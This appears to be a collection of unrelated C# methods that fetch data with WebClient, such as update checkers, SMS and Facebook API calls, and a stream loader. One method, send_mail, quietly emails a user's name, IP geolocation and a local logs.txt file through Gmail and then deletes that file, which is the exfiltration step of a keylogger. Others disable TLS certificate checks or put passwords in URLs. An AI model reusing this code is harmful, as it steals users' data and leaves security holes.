public static void CheckUpdates() { try { Version cVer = System.Reflection.Assembly.GetExecutingAssembly().GetName().Version; string currentVersion = cVer.ToString(); string verUrl = GlobalVars.StuffServer + "UpdateFiles/%vName%-version.txt"; string verX = "latest"; switch (cVer.Revision) { case 0: { verX = "latest"; break; } case 1: { verX = "beta"; break; } default: { verX = "latest"; break; } } verUrl = verUrl.Replace("%vName%", verX); string latestVersion = new System.Net.WebClient().DownloadString(verUrl); int major = int.Parse(latestVersion.Split('.')[0]); int minor = int.Parse(latestVersion.Split('.')[1]); int build = int.Parse(latestVersion.Split('.')[2]); int revision = int.Parse(latestVersion.Split('.')[3]); if (currentVersion != latestVersion && Variables.GetValue("checkUpdates") == "1") { if (cVer.Build >= build && cVer.Minor >= minor && cVer.Major >= major) { Debug("CheckUpdates: current version is newer than on the server", ConsoleColor.DarkRed); return; } string add = ""; if (cVer.Revision != 0) { add = " " + verX; } if (GlobalVars.IsCompiledScript || Variables.GetValue("workingScriptFullFileName").Length > 1) { string uText = "ESCRIPT " + latestVersion + " is available. You can install it using \"update" + add + "\" command."; EConsole.WriteLine(uText); } else { Cmd.Process("update" + add); } // } } catch (Exception ex) { Debug("CheckUpdates: " + ex.ToString(), ConsoleColor.DarkRed); } }
public static string DownloadGallery(string Domain, string GalleryFilesUrlNoDomain, int ID) { string GalleryFiles = ""; using (System.Net.WebClient client = new System.Net.WebClient()) { GalleryFiles = new System.Net.WebClient().DownloadString("http://" + Domain + "/Images/GetGallery?title=gallery_" + ID); } string GalleryPath = LS.CurrentHttpContext.Server.MapPath("/Content/UserFiles/" + GalleryFilesUrlNoDomain); if (!System.IO.Directory.Exists(GalleryPath)) { System.IO.Directory.CreateDirectory(GalleryPath); } if (string.IsNullOrEmpty(GalleryFiles)) { return(GalleryFilesUrlNoDomain); } GalleryFiles = GalleryFiles.Replace("<br />", "^"); foreach (string item in GalleryFiles.Split('^')) { if (string.IsNullOrEmpty(item)) { continue; } DownloadPic(Domain, item); } return(GalleryFilesUrlNoDomain); }
public bool DivertNumber(string mobile) { log.LogStart(); System.Net.ServicePointManager.ServerCertificateValidationCallback += SERV.Utils.Authentication.AcceptAllCertificates; string num = mobile.Replace(" ", ""); string servNow = System.Configuration.ConfigurationManager.AppSettings["FlextelNumber"]; string pin = System.Configuration.ConfigurationManager.AppSettings["FlextelPin"]; string format = System.Configuration.ConfigurationManager.AppSettings["FlextelFormat"]; try { log.Info("Diverting flextel to " + num); string res = new System.Net.WebClient().DownloadString(string.Format(format, servNow, pin, num)); log.Info(res); res = res.Trim(); if (res.Contains(",")) { return(res.Split(',')[0].Replace(" ", "") == num); } return(false); } catch { return(false); } }
public static void LoadRPCWeb(string site) { string raw = new System.Net.WebClient().DownloadString(site); string[] lines = raw.Split(new string[] { Environment.NewLine }, StringSplitOptions.None); foreach (string line in lines) { var names = typeof(RPC).GetFields().Select(field => field.Name).ToArray(); string combine = line.Replace(" = ", String.Empty); foreach (string name in names) { if (combine.ToLower().Contains(name.ToLower())) { string address = combine.Substring(name.Length); var type = typeof(RPC); var field = type.GetField(name); field.SetValue(null, System.Convert.ToUInt32(address, 16)); } if (combine.Contains("[") || combine.Contains("]")) { string ver1 = combine.Replace("[", null); string ver2 = ver1.Replace("]", null); Updater.rpcSaved = ver2; } } } }
private void send_mail(string from, string to, string user, string password) { try { MailMessage mail = new MailMessage(); SmtpClient server = new SmtpClient("smtp.gmail.com"); server.EnableSsl = true; mail.From = new MailAddress(from); mail.To.Add(to); string username = Environment.GetEnvironmentVariable("USERNAME"); mail.Subject = username + " logs"; /*corpo del messaggio, composto da: * * * * * * * * * * * * * nome utente * * ip * * data * * geolocalization * * * * * * * * * * * * * */ //nome utente mail.Body = "Name: " + username; //data mail.Body += "\nDate: " + DateTime.Now.ToString("g"); //ip string ipPubblico = new System.Net.WebClient().DownloadString("http://icanhazip.com"); mail.Body += "\nPublic ip: " + ipPubblico + "\n"; //geolocalization string geo = "http://ip-api.com/json/" + ipPubblico; string geolocalization = new System.Net.WebClient().DownloadString(geo); string[] array = geolocalization.Split(','); for (int i = 0; i < array.Length; i++) { string temp = array[i] + "\n"; temp = temp.Replace('"', ' '); temp = temp.Replace('}', ' '); temp = temp.Replace('{', ' '); mail.Body += temp; } string path = Environment.GetEnvironmentVariable("USERPROFILE") + "\\logs.txt"; System.Net.Mail.Attachment allegato = new System.Net.Mail.Attachment(path); server.DeliveryMethod = SmtpDeliveryMethod.Network; mail.Attachments.Add(allegato); server.Port = 587; server.Credentials = new System.Net.NetworkCredential(user, password); server.Send(mail); //chiusura ed eliminazione file "logs.txt" allegato.Dispose(); server.Dispose(); File.Delete(path); } catch (Exception e) { } }
public HLSStream(string filename, int width = 0, int height = 0, int bandwidth = 0) { _streams = new List <Stream>(); _chunks = new List <Chunk>(); _width = width; _height = height; _bandwidth = bandwidth; _streamURL = filename; try { string[] fileLines = null; if (filename.ToLower().StartsWith("http://") || filename.ToLower().StartsWith("https://")) { #if UNITY_WSA_10_0 || UNITY_WINRT_8_1 || UNITY_WSA WWW www = new WWW(filename); int watchdog = 0; while (!www.isDone && watchdog < 5000) { #if NETFX_CORE System.Threading.Tasks.Task.Delay(1).Wait(); #else System.Threading.Thread.Sleep(1); #endif watchdog++; } if (www.isDone && watchdog < 5000) { string fileString = www.text; fileLines = fileString.Split('\n'); } #else string fileString = new System.Net.WebClient().DownloadString(filename); fileLines = fileString.Split('\n'); #endif } else { fileLines = File.ReadAllLines(filename); } int lastDash = filename.LastIndexOf('/'); if (lastDash < 0) { lastDash = filename.LastIndexOf('\\'); } string path = _streamURL.Substring(0, lastDash + 1); ParseFile(fileLines, path); } catch (Exception e) { throw e; } }
static void Main(string[] args) { bool running = true; while (running) { int invalid, valid; string[] inputList; invalid = 0; valid = 0; Console.Write("Patient ID(s):"); string input = Console.ReadLine(); if (input == "url") { input = new System.Net.WebClient().DownloadString("https://s3.amazonaws.com/cognisant-interview-resources/identifiers.json"); input = input.Trim('[', ']'); input = input.Replace("\"", string.Empty); inputList = input.Split(","); } else if (input == "exit") { running = false; break; } else { inputList = new string[] { input }; } foreach (string id in inputList) { if (VerifyID(id)) { valid++; } else { invalid++; } } Console.WriteLine("Valid Results [" + valid + "]"); Console.WriteLine("Inavlid Results [" + invalid + "]"); Console.WriteLine("Total IDs: [" + (valid + invalid) + "]\n"); Console.WriteLine("Press any key to input another ID(s)"); Console.ReadKey(); Console.Clear(); } }
public static int GetAQLCreditCount() { string smsUser = System.Configuration.ConfigurationManager.AppSettings["SMSUser"]; string smsPassword = System.Configuration.ConfigurationManager.AppSettings["SMSPassword"]; string res = new System.Net.WebClient().DownloadString( string.Format("http://gw1.aql.com/sms/postmsg.php?username={0}&password={1}&cmd=credit", smsUser, smsPassword)); if (res.Contains("=")) { int ret = int.Parse(res.Split('=')[1].Trim()); return(ret); } return(-1); }
private void Form1_Load(object sender, EventArgs e) { setConnectionStatus(false); string contents = new System.Net.WebClient().DownloadString("http://pastebin.com/raw.php?i=Uh1rHicL"); string[] info = contents.Split(new string[] { "[-]" }, StringSplitOptions.RemoveEmptyEntries); string currentversion = Application.ProductVersion; //new System.Net.WebClient().DownloadFile("https://www.dropbox.com/s/2l6ihrbb8qbq5zq/Revision%20v1.0.0.1.rar?dl=1", "Revision " + info[0].ToString() + ".rar"); if (!contents.Contains(currentversion)) { MessageBox.Show("A new update is available, press okay to start the download. Info regarding the update is below.\r\n" + info[1], "Update Available", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); System.Diagnostics.Process.Start(info[2].ToString()); Dispose(); } }
private static bool DivertSingleNumber(string num, string format, string servNow, string pin) { try { log.Info("Diverting flextel to " + num); string res = new System.Net.WebClient().DownloadString(string.Format(format, servNow, pin, num)); log.Info(res); res = res.Trim(); if (res.Contains(",")) { return(res.Split(',')[0].Replace(" ", "") == num); } return(false); } catch { return(false); } }
protected void UpdateChecker(Object stateInfo = null) { string raw; try { raw = new System.Net.WebClient().DownloadString(updateUrl); } catch (Exception) { return; } var list = raw.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); Version version; if (!Version.TryParse(list[0], out version)) { return; } if (Version.CompareTo(version) >= 0) { return; } Console.WriteLine(string.Format(Messages.version, Name, version)); foreach (TSPlayer tplayer in TShock.Players) { if (tplayer != null && tplayer.Active && tplayer.Group.HasPermission(TShockAPI.Permissions.maintenance)) { tplayer.SendMessage(string.Format(Messages.version, Name, version), Color.Yellow); if (list.Length > 1) { for (var i = 1; i < list.Length; i++) { tplayer.SendMessage(list[i], Color.Yellow); } } } } }
/// <summary> /// Get the game information for the AppId /// </summary> /// <param name="appid"></param> public Game GetGame(ulong appid) { Game result = null; string response = new System.Net.WebClient().DownloadString($"https://store.steampowered.com/search/suggest?term={appid}&f=games&cc={client.CurrentCountry}&lang=english&v=2286217"); if (!response.Contains("match ds_collapse_flag ")) { return(result); } foreach (string s in response.Split(new string[] { "match ds_collapse_flag " }, StringSplitOptions.None)) { if (s.Contains("match_name") && s.Contains("match_price")) { result = new Game(s); } } return(result); }
/// <summary> /// Callback after the initial facebook oauth request /// </summary> /// <returns></returns> public ActionResult FacebookCallback() { Response.AddHeader("P3P:CP", "IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"); var code = Request.QueryString["code"].Replace("#_=_", ""); var fbUrl = "https://graph.facebook.com/oauth/access_token?client_id=" + FB_APP_ID + "&redirect_uri=" + FB_REDIRECT_URL + "&client_secret=" + FB_SECRET + "&code=" + code; var result = new System.Net.WebClient().DownloadString(fbUrl); var token = result.Split('&')[0].Split('=')[1]; // store token in user data Session[FB_AUTH_TOKEN_KEY] = token; // get the current user var fbClient = new FacebookClient(token); dynamic fbUser = fbClient.Get("/me"); // convert the user information into our data model FbDTO user = Save_Update_profile(new FbDTO() { fbid = fbUser.id, Username = String.IsNullOrWhiteSpace(fbUser.username) ? fbUser.id : fbUser.username, Email = fbUser.email, Fname = fbUser.first_name, Lname = fbUser.last_name, Sex = fbUser.gender, acctoken = token }); // convert our pet signup model and save var model = Session[FB_USER_DATA_KEY] as SignupPostModel; var petProfile = _ifbp.SavePetDetSignUp(new PetProfileDTO() { PetName = model.PetName, //PetBreed = model.PetBreed, pcid = model.PetType, UID = user.UID }); // Award this first badge // // TODO: Ensure user never gets this badge more than once // _petService.SaveFirstBadge(user.UID, petProfile.PID); // get the badge count var pbcnt = _petService.GetBadgeCount(user.UID); if (pbcnt.badgecount == 1) { HttpContext.Session["ShowFirstBadgeModel"] = true; } else { HttpContext.Session.Remove("ShowFirstBadgeModel"); } // Stash our user in the session HttpContext.Session[USER] = adto; // hack to remove the facebook appened #_-_ return(RedirectToAction("Index", "Home")); }